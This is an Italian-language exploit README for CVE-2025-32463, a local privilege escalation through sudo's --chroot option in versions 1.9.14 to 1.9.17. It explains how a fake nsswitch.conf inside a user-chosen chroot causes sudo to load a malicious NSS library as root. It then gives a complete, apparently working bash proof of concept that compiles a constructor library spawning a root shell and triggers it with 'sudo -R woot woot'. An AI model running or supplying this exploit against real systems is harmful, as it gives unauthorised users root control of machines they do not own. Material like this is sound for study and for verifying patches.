📌 CVE-2025-32463 — Sudo --chroot Escalata Locale dei Privilegi

ExploitDB ID: 52352

---

🧠 Panoramica Generale

Questo repository documenta una vulnerabilità critica di escalation locale dei privilegi (LPE) che interessa le versioni Sudo 1.9.14 – 1.9.17.

La vulnerabilità deriva da un'implementazione errata dell'opzione sudo -R (--chroot) e consente a un utente malintenzionato di eseguire comandi con privilegi di root, anche se non autorizzato nel file sudoers.

🔥 Risultato: Utente non autorizzato → shell di root

---

🧩 Componente Affetto

• Software: sudo
• Versioni Affette:
  • 1.9.14
  • 1.9.15
  • 1.9.16
  • 1.9.17
• CVE ID: CVE-2025-32463
• Piattaforma: Linux (in particolare sistemi che utilizzano NSS)
• Sistema Testato: Kali Rolling 2025

---

⚙️ Causa Tecnica della Vulnerabilità

Il parametro --chroot (-R) di sudo consente all'utente di eseguire comandi all'interno di una directory root da lui specificata.

Tuttavia, a seguito di una modifica introdotta in sudo 1.9.14:

• Il file sudoers non è ancora stato completamente verificato
• La chiamata chroot() viene eseguita sulla directory specificata dall'utente

Ciò consente a un utente malintenzionato di caricare, con privilegi di root, una libreria NSS malevola (libnss_*.so) tramite un falso file:

/etc/nsswitch.conf

attraverso il file, causando il caricamento di una libreria NSS dannosa (libnss_*.so) con privilegi di root.

---

🧨 Scenario di Attacco (Riepilogo)

1. Viene creata una directory temporanea
2. Viene preparato un falso nsswitch.conf
3. Viene compilata una libreria condivisa NSS malevola
4. Viene effettuata una chiamata sudo -R <dir> <command>
5. La libreria NSS viene caricata con privilegi di root
6. Si ottiene una shell di root 🚀

---

🧪 Proof of Concept (PoC)

⚠️ Utilizzare solo in ambienti di formazione e test

#!/bin/bash
# sudo-chwoot.sh – PoC for CVE-2025-32463

set -e

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"

cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void woot(void) {
    setreuid(0,0);
    setregid(0,0);
    chdir("/");
    execl("/bin/bash","/bin/bash",NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

sudo -R woot woot